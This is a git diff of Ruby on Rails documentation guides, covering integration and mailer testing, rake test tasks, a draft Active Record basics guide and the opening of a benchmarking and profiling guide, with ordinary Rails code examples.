+ assert_equal <span style="color: #FF0000">'/welcome'</span><span style="color: #990000">,</span> path
+ assert_equal <span style="color: #FF0000">'Welcome avs!'</span><span style="color: #990000">,</span> flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
+
+ https!<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">false</span></span><span style="color: #990000">)</span>
+ get <span style="color: #FF0000">"/posts/all"</span>
+ assert_response <span style="color: #990000">:</span>success
+ assert assigns<span style="color: #990000">(:</span>products<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.</p></div>
+<div class="para"><p>Here's an example of multiple sessions and custom DSL in an integration test</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserFlowsTest <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>IntegrationTest
+ fixtures <span style="color: #990000">:</span>users
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_login_and_browse_site
+
+ <span style="font-style: italic"><span style="color: #9A1900"># User avs logs in</span></span>
+ avs <span style="color: #990000">=</span> login<span style="color: #990000">(:</span>avs<span style="color: #990000">)</span>
+ <span style="font-style: italic"><span style="color: #9A1900"># User guest logs in</span></span>
+ guest <span style="color: #990000">=</span> login<span style="color: #990000">(:</span>guest<span style="color: #990000">)</span>
+
+ <span style="font-style: italic"><span style="color: #9A1900"># Both are now available in different sessions</span></span>
+ assert_equal <span style="color: #FF0000">'Welcome avs!'</span><span style="color: #990000">,</span> avs<span style="color: #990000">.</span>flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
+ assert_equal <span style="color: #FF0000">'Welcome guest!'</span><span style="color: #990000">,</span> guest<span style="color: #990000">.</span>flash<span style="color: #990000">[:</span>notice<span style="color: #990000">]</span>
+
+ <span style="font-style: italic"><span style="color: #9A1900"># User avs can browse site</span></span>
+ avs<span style="color: #990000">.</span>browses_site
+ <span style="font-style: italic"><span style="color: #9A1900"># User guest can browse site aswell</span></span>
+ guest<span style="color: #990000">.</span>browses_site
+
+ <span style="font-style: italic"><span style="color: #9A1900"># Continue with other assertions</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ private
+
+ <span style="font-weight: bold"><span style="color: #0000FF">module</span></span> CustomDsl
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> browses_site
+ get <span style="color: #FF0000">"/products/all"</span>
+ assert_response <span style="color: #990000">:</span>success
+ assert assigns<span style="color: #990000">(:</span>products<span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> login<span style="color: #990000">(</span>user<span style="color: #990000">)</span>
+ open_session <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>sess<span style="color: #990000">|</span>
+ sess<span style="color: #990000">.</span>extend<span style="color: #990000">(</span>CustomDsl<span style="color: #990000">)</span>
+ u <span style="color: #990000">=</span> users<span style="color: #990000">(</span>user<span style="color: #990000">)</span>
+ sess<span style="color: #990000">.</span>https!
+ sess<span style="color: #990000">.</span>post <span style="color: #FF0000">"/login"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>username <span style="color: #990000">=></span> u<span style="color: #990000">.</span>username<span style="color: #990000">,</span> <span style="color: #990000">:</span>password <span style="color: #990000">=></span> u<span style="color: #990000">.</span>password
+ assert_equal <span style="color: #FF0000">'/welcome'</span><span style="color: #990000">,</span> path
+ sess<span style="color: #990000">.</span>https!<span style="color: #990000">(</span><span style="font-weight: bold"><span style="color: #0000FF">false</span></span><span style="color: #990000">)</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_testing_your_mailers">6. Testing Your Mailers</h2>
+<div class="sectionbody">
+<div class="para"><p>Testing mailer classes requires some specific tools to do a thorough job.</p></div>
+<h3 id="_keeping_the_postman_in_check">6.1. Keeping the Postman in Check</h3>
+<div class="para"><p>Your <tt>ActionMailer</tt> classes — like every other part of your Rails application — should be tested to ensure that it is working as expected.</p></div>
+<div class="para"><p>The goals of testing your <tt>ActionMailer</tt> classes are to ensure that:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+emails are being processed (created and sent)
+</p>
+</li>
+<li>
+<p>
+the email content is correct (subject, sender, body, etc)
+</p>
+</li>
+<li>
+<p>
+the right emails are being sent at the right times
+</p>
+</li>
+</ul></div>
+<h4 id="_from_all_sides">6.1.1. From All Sides</h4>
+<div class="para"><p>There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a knownvalue (a fixture — yay! more fixtures!). In the functional tests you don't so much test the minute details produced by the mailer Instead we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.</p></div>
+<h3 id="_unit_testing">6.2. Unit Testing</h3>
+<div class="para"><p>In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.</p></div>
+<h4 id="_revenge_of_the_fixtures">6.2.1. Revenge of the Fixtures</h4>
+<div class="para"><p>For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output <em>should</em> look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within <tt>test/fixtures</tt> directly corresponds to the name of the mailer. So, for a mailer named <tt>UserMailer</tt>, the fixtures should reside in <tt>test/fixtures/user_mailer</tt> directory.</p></div>
+<div class="para"><p>When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.</p></div>
+<h4 id="_the_basic_test_case">6.2.2. The Basic Test case</h4>
+<div class="para"><p>Here's a unit test to test a mailer named <tt>UserMailer</tt> whose action <tt>invite</tt> is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an <tt>invite</tt> action.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserMailerTest <span style="color: #990000"><</span> ActionMailer<span style="color: #990000">::</span>TestCase
+ tests UserMailer
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_invite
+ <span style="color: #009900">@expected</span><span style="color: #990000">.</span>from <span style="color: #990000">=</span> <span style="color: #FF0000">'me@example.com'</span>
+ <span style="color: #009900">@expected</span><span style="color: #990000">.</span>to <span style="color: #990000">=</span> <span style="color: #FF0000">'friend@example.com'</span>
+ <span style="color: #009900">@expected</span><span style="color: #990000">.</span>subject <span style="color: #990000">=</span> <span style="color: #FF0000">"You have been invited by #{@expected.from}"</span>
+ <span style="color: #009900">@expected</span><span style="color: #990000">.</span>body <span style="color: #990000">=</span> read_fixture<span style="color: #990000">(</span><span style="color: #FF0000">'invite'</span><span style="color: #990000">)</span>
+ <span style="color: #009900">@expected</span><span style="color: #990000">.</span>date <span style="color: #990000">=</span> Time<span style="color: #990000">.</span>now
+
+ assert_equal <span style="color: #009900">@expected</span><span style="color: #990000">.</span>encoded<span style="color: #990000">,</span> UserMailer<span style="color: #990000">.</span>create_invite<span style="color: #990000">(</span><span style="color: #FF0000">'me@example.com'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'friend@example.com'</span><span style="color: #990000">,</span> <span style="color: #009900">@expected</span><span style="color: #990000">.</span>date<span style="color: #990000">).</span>encoded
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In this test, <tt>@expected</tt> is an instance of <tt>TMail::Mail</tt> that you can use in your tests. It is defined in <tt>ActionMailer::TestCase</tt>. The test above uses <tt>@expected</tt> to construct an email, which it then asserts with email created by the custom mailer. The <tt>invite</tt> fixture is the body of the email and is used as the sample content to assert against. The helper <tt>read_fixture</tt> is used to read in the content from this file.</p></div>
+<div class="para"><p>Here's the content of the <tt>invite</tt> fixture:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Hi friend@example.com,
+
+You have been invited.
+
+Cheers!
+</tt></pre></div></div>
+<div class="para"><p>This is the right time to understand a little more about writing tests for your mailers. The line <tt>ActionMailer::Base.delivery_method = :test</tt> in <tt>config/environments/test.rb</tt> sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (<tt>ActionMailer::Base.deliveries</tt>).</p></div>
+<div class="para"><p>However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.</p></div>
+<h3 id="_functional_testing">6.3. Functional Testing</h3>
+<div class="para"><p>Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job You are probably more interested in is whether your own business logic is sending emails when you expect them to got out. For example, you can check that the invite friend operation is sending an email appropriately:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> UserControllerTest <span style="color: #990000"><</span> ActionController<span style="color: #990000">::</span>TestCase
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_invite_friend
+ assert_difference <span style="color: #FF0000">'ActionMailer::Base.deliveries.size'</span><span style="color: #990000">,</span> <span style="color: #990000">+</span><span style="color: #993399">1</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ post <span style="color: #990000">:</span>invite_friend<span style="color: #990000">,</span> <span style="color: #990000">:</span>email <span style="color: #990000">=></span> <span style="color: #FF0000">'friend@example.com'</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ invite_email <span style="color: #990000">=</span> ActionMailer<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>deliveries<span style="color: #990000">.</span>first
+
+ assert_equal invite_email<span style="color: #990000">.</span>subject<span style="color: #990000">,</span> <span style="color: #FF0000">"You have been invited by me@example.com"</span>
+ assert_equal invite_email<span style="color: #990000">.</span>to<span style="color: #990000">[</span><span style="color: #993399">0</span><span style="color: #990000">],</span> <span style="color: #FF0000">'friend@example.com'</span>
+ assert_match <span style="color: #FF6600">/Hi friend@example.com/</span><span style="color: #990000">,</span> invite_email<span style="color: #990000">.</span>body
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_rake_tasks_for_testing">7. Rake Tasks for Testing</h2>
+<div class="sectionbody">
+<div class="para"><p>You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project.</p></div>
+<div class="para"><p>--------------------------------`----------------------------------------------------
+Tasks Description</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>+rake test+ Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.
++rake test:units+ Runs all the unit tests from +test/unit+
++rake test:functionals+ Runs all the functional tests from +test/functional+
++rake test:integration+ Runs all the integration tests from +test/integration+
++rake test:recent+ Tests recent changes
++rake test:uncommitted+ Runs all the tests which are uncommitted. Only supports Subversion
++rake test:plugins+ Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)
++rake db:test:clone+ Recreate the test database from the current environment's database schema
++rake db:test:clone_structure+ Recreate the test databases from the development structure
++rake db:test:load+ Recreate the test database from the current +schema.rb+
++rake db:test:prepare+ Check for pending migrations and load the test schema
++rake db:test:purge+ Empty the test database.</tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You can see all these rake task and their descriptions by running <tt>rake —tasks —describe</tt></td>
+</tr></table>
+</div>
+</div>
+<h2 id="_other_testing_approaches">8. Other Testing Approaches</h2>
+<div class="sectionbody">
+<div class="para"><p>The built-in <tt>test/unit</tt> based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://avdi.org/projects/nulldb/">NullDB</a>, a way to speed up testing by avoiding database use.
+</p>
+</li>
+<li>
+<p>
+<a href="http://github.com/thoughtbot/factory_girl/tree/master">Factory Girl</a>, as replacement for fixtures.
+</p>
+</li>
+<li>
+<p>
+<a href="http://www.thoughtbot.com/projects/shoulda">Shoulda</a>, an extension to <tt>test/unit</tt> with additional helpers, macros, and assertions.
+</p>
+</li>
+<li>
+<p>
+link: <a href="http://rspec.info/">RSpec</a>, a behavior-driven development framework
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_changelog">9. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/8">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+October 14, 2008: Edit and formatting pass by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
+</p>
+</li>
+<li>
+<p>
+October 12, 2008: First draft by <a href="../authors.html#asurve">Akashay Surve</a> (not yet approved for publication)
+</p>
+</li>
+</ul></div>
+</div>
+ + </div> + </div> +</body> +</html> diff --git a/railties/doc/guides/actioncontroller/cookies.txt b/railties/doc/guides/source/actioncontroller_basics/cookies.txt index d451f3f7a6..d451f3f7a6 100644 --- a/railties/doc/guides/actioncontroller/cookies.txt +++ b/railties/doc/guides/source/actioncontroller_basics/cookies.txt diff --git a/railties/doc/guides/actioncontroller/filters.txt b/railties/doc/guides/source/actioncontroller_basics/filters.txt index a7b8d9727f..a7b8d9727f 100644 --- a/railties/doc/guides/actioncontroller/filters.txt +++ b/railties/doc/guides/source/actioncontroller_basics/filters.txt diff --git a/railties/doc/guides/actioncontroller/http_auth.txt b/railties/doc/guides/source/actioncontroller_basics/http_auth.txt index 7df0e635bf..7df0e635bf 100644 --- a/railties/doc/guides/actioncontroller/http_auth.txt +++ b/railties/doc/guides/source/actioncontroller_basics/http_auth.txt diff --git a/railties/doc/guides/actioncontroller/actioncontroller.txt b/railties/doc/guides/source/actioncontroller_basics/index.txt index 0b884e590b..0b884e590b 100644 --- a/railties/doc/guides/actioncontroller/actioncontroller.txt +++ b/railties/doc/guides/source/actioncontroller_basics/index.txt diff --git a/railties/doc/guides/actioncontroller/introduction.txt b/railties/doc/guides/source/actioncontroller_basics/introduction.txt index e4b0953b95..e4b0953b95 100644 --- a/railties/doc/guides/actioncontroller/introduction.txt +++ b/railties/doc/guides/source/actioncontroller_basics/introduction.txt diff --git a/railties/doc/guides/actioncontroller/methods.txt b/railties/doc/guides/source/actioncontroller_basics/methods.txt index a1ef204adb..a1ef204adb 100644 --- a/railties/doc/guides/actioncontroller/methods.txt +++ b/railties/doc/guides/source/actioncontroller_basics/methods.txt diff --git a/railties/doc/guides/actioncontroller/parameter_filtering.txt b/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt index c4577d4f6d..c4577d4f6d 100644 --- a/railties/doc/guides/actioncontroller/parameter_filtering.txt +++ b/railties/doc/guides/source/actioncontroller_basics/parameter_filtering.txt diff --git a/railties/doc/guides/actioncontroller/params.txt b/railties/doc/guides/source/actioncontroller_basics/params.txt index 7f494d7c9b..7f494d7c9b 100644 --- a/railties/doc/guides/actioncontroller/params.txt +++ b/railties/doc/guides/source/actioncontroller_basics/params.txt diff --git a/railties/doc/guides/actioncontroller/request_response_objects.txt b/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt index 493bd4cb43..493bd4cb43 100644 --- a/railties/doc/guides/actioncontroller/request_response_objects.txt +++ b/railties/doc/guides/source/actioncontroller_basics/request_response_objects.txt diff --git a/railties/doc/guides/actioncontroller/rescue.txt b/railties/doc/guides/source/actioncontroller_basics/rescue.txt index ec03006764..ec03006764 100644 --- a/railties/doc/guides/actioncontroller/rescue.txt +++ b/railties/doc/guides/source/actioncontroller_basics/rescue.txt diff --git a/railties/doc/guides/actioncontroller/session.txt b/railties/doc/guides/source/actioncontroller_basics/session.txt index 467cffbf85..467cffbf85 100644 --- a/railties/doc/guides/actioncontroller/session.txt +++ b/railties/doc/guides/source/actioncontroller_basics/session.txt diff --git a/railties/doc/guides/actioncontroller/streaming.txt b/railties/doc/guides/source/actioncontroller_basics/streaming.txt index 41d56935b9..41d56935b9 100644 --- a/railties/doc/guides/actioncontroller/streaming.txt +++ b/railties/doc/guides/source/actioncontroller_basics/streaming.txt diff --git a/railties/doc/guides/actioncontroller/verification.txt b/railties/doc/guides/source/actioncontroller_basics/verification.txt index 39046eee85..39046eee85 100644 --- a/railties/doc/guides/actioncontroller/verification.txt +++ b/railties/doc/guides/source/actioncontroller_basics/verification.txt diff --git a/railties/doc/guides/source/active_record_basics.txt b/railties/doc/guides/source/active_record_basics.txt new file mode 100644 index 0000000000..60ee1ef7b7 --- /dev/null +++ b/railties/doc/guides/source/active_record_basics.txt @@ -0,0 +1,120 @@ +ActiveRecord Basics +================================= +This guide will explain in detail how the ActiveRecord design pattern is used inside Ruby on Rails to make communication with the database clear and easy to understand. +The intent of this guide is to explain the ActiveRecord implementation used by Rails though easy to understand examples, metaphors and detailed explanations of the actual Rails source code. +After reading this guide readers should have a strong grasp of the ActiveRecord concept and how it can be used with or without Rails. Hopefully, some of the philosophical and theoretical intentions discussed here will also make them a stronger and better developer. +== ORM The Blueprint of ActiveRecord +If ActiveRecord is the engine of Rails then ORM is the blueprint of that engine. ORM is short for “Object Relational Mapping” and is a programming concept used to make structures within a system relational. ORM seeks to give semantic meaning to the associations between elements of the system for example tables within a database. +As a thought experiment imagine the components that make up a typical car. There are doors, seats, windows, engines etc. Viewed independently they are simple parts, yet when bolted together through the aid of a blueprint, the parts become a more complex device. ORM is the blueprint that describes how the individual parts relate to one another and in some cases infers the part’s purpose through the way the associations are described. +== ActiveRecord The Engine of Rails +ActiveRecord is a metaphor used to access data within a database. The name “Active Record” was coined by Martin Fowler in his book “Patterns of Enterprise Application Architecture”. ActiveRecord is a conceptual model of the database record and the relationships to other records. +As a side note, from now when I refer to ActiveRecord I’ll be referring to the specific Rails implementation and not the design pattern in general. I make this distinction because, as Rails has evolved so too has the Rails specific implementation of their version of ActiveRecord. +Specifically, the Rails ActiveRecord pattern adds inheritance and associations. The associations are created by using a DSL (domain specific language) of macros, and a STI (Single Table Inheritance) to facilitate the inheritance. +Rails uses ActiveRecord to abstract much of the drudgery or C.R.U.D (explained later) of working with data in databases. Using ActiveRecord Rails automates the mapping between: +* Classes & Database Tables +* Class attributes & Database Table Columns +For example suppose you created a database table called cars: +[source, sql] +------------------------------------------------------- +mysql> CREATE TABLE cars ( + id INT, + color VARCHAR(100), + doors INT, + horses INT, + model VARCHAR(100) + ); +------------------------------------------------------- +Now you created a class named Car, which is to represent an instance of a record from your table. +[source, ruby] +------------------------------------------------------- +class Car +end +------------------------------------------------------- +As you might expect without defining the explicit mappings between your class and the table it is impossible for Rails or any other program to correctly map those relationships. +[source, ruby] +------------------------------------------------------- +>> c = Car.new +=> #<Class:0x11e1e90> +>> c.doors +NoMethodError: undefined method `doors' for #<Class:0x11e1e90> + from (irb):2 +------------------------------------------------------- +Now you could define a door methods to write and read data to and from the database. In a nutshell this is what ActiveRecord does. According to the Rails API: +“Active Record objects don‘t specify their attributes directly, but rather infer them from the table definition with which they‘re linked. Adding, removing, and changing attributes and their type is done directly in the database. Any change is instantly reflected in the Active Record objects. The mapping that binds a given Active Record class to a certain database table will happen automatically in most common cases, but can be overwritten for the uncommon ones.” +Lets try our Car class again, this time inheriting from ActiveRecord. +[source, ruby] +------------------------------------------------------- +class Car < ActiveRecord::Base +end +------------------------------------------------------- +Now if we try to access an attribute of the table ActiveRecord automatically handles the mappings for us, as you can see in the following example. +[source, ruby] +------------------------------------------------------- +>> c = Car.new +=> #<Car id: nil, doors: nil, color: nil, horses: nil, model: nil> +>> c.doors +=> nil +------------------------------------------------------- + +This wrapper implements attribute accessors, callbacks and validations, which can make the data more powerful. +- Validations + * create! + * validates_acceptance_of + * validates_associated + * validates_confirmation_of + * validates_each + * validates_exclusion_of + * validates_format_of + * validates_inclusion_of + * validates_length_of + * validates_numericality_of + * validates_presence_of + * validates_size_of + * validates_uniqueness_of + - Callback + * (-) save + * (-) valid + * (1) before_validation + * (2) before_validation_on_create + * (-) validate + * (-) validate_on_create + * (3) after_validation + * (4) after_validation_on_create + * (5) before_save + * (6) before_create + * (-) create + * (7) after_create + * (8) after_save + +Rails further extends this model by giving each ActiveRecord a way of describing the variety of ways records are associated with one another. We will touch on some of these associations later in the guide but I encourage readers who are interested to read the guide to ActiveRecord associations for an in-depth explanation of the variety of ways rails can model associations. +- Associations between objects controlled by meta-programming macros. + +== Philosophical Approaches & Common Conventions +Rails has a reputation of being a zero-config framework which means that it aims to get you off the ground with as little pre-flight checking as possible. This speed benefit is achieved by following “Convention over Configuration”, which is to say that if you agree to live with the defaults then you benefit from a the inherent speed-boost. As Courtneay Gasking put it to me once “You don’t want to off-road on Rails”. ActiveRecord is no different, while it’s possible to override or subvert any of the conventions of AR, unless you have a good reason for doing so you will probably be happy with the defaults. The following is a list of the common conventions of ActiveRecord + + +ActiveRecord is the default model component of the Model-view-controller web-application framework Ruby on Rails, and is also a stand-alone ORM package for other Ruby applications. In both forms, it was conceived of by David Heinemeier Hansson, and has been improved upon by a number of contributors. --wikipedia + + - Naming Conventions + - Class Names are Singular + - Tables names are the plural name of the class name + - Tables contain an identity column named id + - ids +== ActiveRecord Magic + - timestamps + - updates + +== How ActiveRecord Maps your Database. +- sensible defaults +- overriding conventions + +== Growing Your Database Relationships Naturally + +== Attributes + - attribute accessor method. How to override them? + - attribute? + - dirty records + - +== ActiveRecord handling the CRUD of your Rails application - Understanding the life-cycle of an ActiveRecord + +== Validations & Callbacks
\ No newline at end of file diff --git a/railties/doc/guides/activerecord/association_basics.txt b/railties/doc/guides/source/association_basics.txt index df89cfb531..695b834652 100644 --- a/railties/doc/guides/activerecord/association_basics.txt +++ b/railties/doc/guides/source/association_basics.txt @@ -1085,7 +1085,8 @@ The +_collection_.delete+ method removes one or more objects from the collection @customer.orders.delete(@order1) ------------------------------------------------------- -WARNING: The +_collection_.delete+ method will destroy the deleted object if they are declared as +belongs_to+ and are dependent on this model. +WARNING: Objects will be in addition destroyed if they're associated with +:dependent => :destroy+, and deleted if they're associated with +:dependent => :delete_all+. + ===== +_collection_=objects+ diff --git a/railties/doc/guides/authors.txt b/railties/doc/guides/source/authors.txt index 8d0970e4f6..8d0970e4f6 100644 --- a/railties/doc/guides/authors.txt +++ b/railties/doc/guides/source/authors.txt diff --git a/railties/doc/guides/benchmarking_and_profiling/appendix.txt b/railties/doc/guides/source/benchmarking_and_profiling/appendix.txt index ce618603d4..8e2e383ff3 100644 --- a/railties/doc/guides/benchmarking_and_profiling/appendix.txt +++ b/railties/doc/guides/source/benchmarking_and_profiling/appendix.txt @@ -90,15 +90,6 @@ service both for when in development and when you put your application into prod #TODO more in-depth without being like an advertisement. -=== FiveRuns === -http://www.fiveruns.com/[http://www.fiveruns.com/] - -#TODO give a bit more detail - -==== TuneUp ==== - -In their words "a new socially networked application profiling tool for Ruby on Rails developers. Designed for rapid application performance analysis in development, both privately or collaboratively with input from the community, FiveRuns TuneUp gives developers visibility into performance trouble spots and bottlenecks before they reach production." - ==== Manage ==== Like new relic a production monitoring tool. diff --git a/railties/doc/guides/benchmarking_and_profiling/digging_deeper.txt b/railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt index fe22fba078..fe22fba078 100644 --- a/railties/doc/guides/benchmarking_and_profiling/digging_deeper.txt +++ b/railties/doc/guides/source/benchmarking_and_profiling/digging_deeper.txt diff --git a/railties/doc/guides/benchmarking_and_profiling/edge_rails_features.txt b/railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt index 765a1e2120..765a1e2120 100644 --- a/railties/doc/guides/benchmarking_and_profiling/edge_rails_features.txt +++ b/railties/doc/guides/source/benchmarking_and_profiling/edge_rails_features.txt diff --git a/railties/doc/guides/benchmarking_and_profiling/examples/graph.html b/railties/doc/guides/source/benchmarking_and_profiling/examples/graph.html index 99fc996b4e..99fc996b4e 100644 --- a/railties/doc/guides/benchmarking_and_profiling/examples/graph.html +++ b/railties/doc/guides/source/benchmarking_and_profiling/examples/graph.html diff --git a/railties/doc/guides/benchmarking_and_profiling/gameplan.txt b/railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt index 1f1d365eff..1f1d365eff 100644 --- a/railties/doc/guides/benchmarking_and_profiling/gameplan.txt +++ b/railties/doc/guides/source/benchmarking_and_profiling/gameplan.txt diff --git a/railties/doc/guides/benchmarking_and_profiling/images/kgraph.png.html b/railties/doc/guides/source/benchmarking_and_profiling/images/kgraph.png.html index b25675eb70..b25675eb70 100644 --- a/railties/doc/guides/benchmarking_and_profiling/images/kgraph.png.html +++ b/railties/doc/guides/source/benchmarking_and_profiling/images/kgraph.png.html diff --git a/railties/doc/guides/benchmarking_and_profiling/images/klist.png.html b/railties/doc/guides/source/benchmarking_and_profiling/images/klist.png.html index 376bdd7c60..376bdd7c60 100644 --- a/railties/doc/guides/benchmarking_and_profiling/images/klist.png.html +++ b/railties/doc/guides/source/benchmarking_and_profiling/images/klist.png.html diff --git a/railties/doc/guides/source/benchmarking_and_profiling/index.txt b/railties/doc/guides/source/benchmarking_and_profiling/index.txt new file mode 100644 index 0000000000..15bf7f6a20 --- /dev/null +++ b/railties/doc/guides/source/benchmarking_and_profiling/index.txt @@ -0,0 +1,241 @@ +Benchmarking and Profiling Rails +================================ + +This guide covers the benchmarking and profiling tactics/tools of Rails and Ruby in general. By referring to this guide, you will be able to: + +* Understand the various types of benchmarking and profiling metrics +* Generate performance/benchmarking tests +* Use GC patched Ruby binary to measure memory usage and object allocation +* Understand the information provided by Rails inside the log files +* Learn about various tools facilitating benchmarking and profiling + +== Why Benchmark and Profile ? + +Benchmarking and Profiling is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a plesant browsing experience to the end users and cutting cost of unnecessary hardwares is important for any web application. + +=== What is the difference between benchmarking and profiling ? === + +Benchmarking is the process of finding out if a piece of code is slow or not. Whereas profiling is the process of finding out what exactly is slowing down that piece of code. + +== Using and understanding the log files == + +Rails logs files containt basic but very useful information about the time taken to serve every request. A typical log entry looks something like : + +[source, ruby] +---------------------------------------------------------------------------- +Processing ItemsController#index (for 127.0.0.1 at 2008-10-17 00:08:18) [GET] + Session ID: BAh7BiIKZmxhc2hJQzonQWN0aHsABjoKQHVzZWR7AA==--83cff4fe0a897074a65335 + Parameters: {"action"=>"index", "controller"=>"items"} +Rendering template within layouts/items +Rendering items/index +Completed in 5ms (View: 2, DB: 0) | 200 OK [http://localhost/items] +---------------------------------------------------------------------------- + +For this section, we're only interested in the last line from that log entry: + +[source, ruby] +---------------------------------------------------------------------------- +Completed in 5ms (View: 2, DB: 0) | 200 OK [http://localhost/items] +---------------------------------------------------------------------------- + +This data is fairly straight forward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller. + +== Helper methods == + +Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a specific code. The method is called +benchmark()+ in all three components. + +[source, ruby] +---------------------------------------------------------------------------- +Project.benchmark("Creating project") do + project = Project.create("name" => "stuff") + project.create_manager("name" => "David") + project.milestones << Milestone.find(:all) +end +---------------------------------------------------------------------------- + +The above code benchmarks the multiple statments enclosed inside +Project.benchmark("Creating project") do..end+ block and prints the results inside log files. The statement inside log files will look like: + +[source, ruby] +---------------------------------------------------------------------------- +Creating projectem (185.3ms) +---------------------------------------------------------------------------- + +Please refer to http://api.rubyonrails.com/classes/ActiveRecord/Base.html#M001336[API docs] for optional options to +benchmark()+ + +Similarly, you could use this helper method inside http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[controllers] ( Note that it's a class method here ): + +[source, ruby] +---------------------------------------------------------------------------- +def process_projects + self.class.benchmark("Processing projects") do + Project.process(params[:project_ids]) + Project.update_cached_projects + end +end +---------------------------------------------------------------------------- + +and 